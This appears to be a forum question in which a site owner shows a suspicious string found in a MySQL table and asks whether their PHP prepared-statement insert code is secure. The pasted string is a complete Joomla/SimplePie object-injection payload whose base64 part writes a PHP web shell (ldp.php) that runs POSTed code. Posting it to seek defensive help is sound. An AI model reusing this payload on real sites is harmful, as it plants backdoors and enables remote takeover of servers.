title: SQL injection Am I safe?
body: <p>Today I saw this in my sql database:</p>
  
  <pre><code>| *some data*   | }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:
  {s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:
  {}s:8:"feed_url";s:207:"
  eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2xkcC5waHAnLCdFRTlBQUVFQzREOEU0NDM5Mjk5MDQ2QjhDREIzRjc4MiA8P3BocCBAZXZhbCgkX1BPU1RbImZrIl0pOycpOw));
  JFactory::getConfig();
  exit;";
  s:19:"cache_name_function";
  s:6:"assert";s:5:"cache"
  ;b:1;s:11:"cache_class";
  O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð�Œ†      |
  </code></pre>
  
  <p>I`m using this code to put data into database :</p>
  
  <pre><code>// Create connection
  $conn = new mysqli($servername, $username, $password, $dbname);
  // Check connection
  if ($conn-&gt;connect_error) {
  die("Connection failed: " . $conn-&gt;connect_error);
  } 
  
  $stmt = $conn-&gt;prepare("INSERT INTO $TABLE (VALUE, DEVICE) VALUES (?, ?)");
  $stmt-&gt;bind_param("ss", $VALUE, $DEVICE);
  
  $stmt-&gt;execute();
  $stmt-&gt;close();
  $conn-&gt;close();
  ?&gt;
  </code></pre>
  
  <p>Am i safe ?</p>
  
  <p>Is my code secure or should I add another layer of security?</p>